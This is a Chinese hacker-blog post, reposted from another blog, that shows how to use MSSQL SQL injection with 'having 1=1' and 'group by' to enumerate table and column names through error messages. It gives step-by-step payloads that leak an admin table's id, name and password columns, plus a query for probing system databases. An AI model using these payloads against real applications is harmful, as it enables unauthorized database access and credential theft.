导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« BaoFeng ActiveX OnBeforeVideoDownload() Remote BOF ExploitOracle+nc注射 »

MSSQL注入利用Group by&having猜表名和字段名

转自灵魂BLOG!!

lcx和剑心等大牛在06年的时候就已经在用这种语法了,而我等小辈到最近才领略到,惭愧惭愧......



手头暂时没有注入点测试,就先以我机器上的MSSQL做实验吧。

下面的语句我直接写完整的SQL语句,注入的时候稍微改改就能用了,呵呵。



假如现在有个注入点,所查询表的结构如下图:

但是我们是不知道表明,不知道列名的....



如果这个注入点原来的SQL语句是:"select * from FK_admin where x_name='"&username&"'"

我们可以在用户名提交的地方填zerosoul' having 1=1--

整个SQL语句就变成了select * from FK_admin where x_name='zerosoul' having 1=1--'

返回结果如下图,可以把表明FK_admin和第一个列名id爆出来:

接着提交zerosoul' group by id having 1=1--

第二个列名x_name也出来了,如下图:





再提交zerosoul' group by id,x_name having 1=1--,爆出第三个列名x_pass,如下图:





然后提交zerosoul' group by id,x_name,x_pass having 1=1--,爆出第最后一个列明x_level。





剩下的事情就比较简单了,呵呵,就需要自由发挥了。



当然如果是SA的话还可以用(select count(*) from master.dbo.sysdatabases where dbid=5)=1这样的语句直接猜MSSQL的系统数据库获得一些敏感信息。上面这个方法在DBO权限下也测试通过。



我觉得我SQL语句学的还是太浅了,只学了基本的语法(貌似大多数人都这样),lcx和剑心他们可能学的比较深入。有时间的话看来我也得继续深入一下了。

这玩意,如果研究的比较深的话,说不定哪天能想出什么奇技淫巧呢,嘿嘿。特别是Oracle,还有一大片牛X的语句等着人去开垦呢。



昨天通宵到现在....本来都关电脑准备睡觉了,上了个厕所突然想起这个来....怕先放下的话会又忘掉,所以又开了电脑实践了一下,顺便做了这个笔记,呵呵。

 

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/xiaoji/Groupby-having.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之热文排行

黑客榜之本年排行

黑客榜之本月排行

黑客榜之随机文章

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved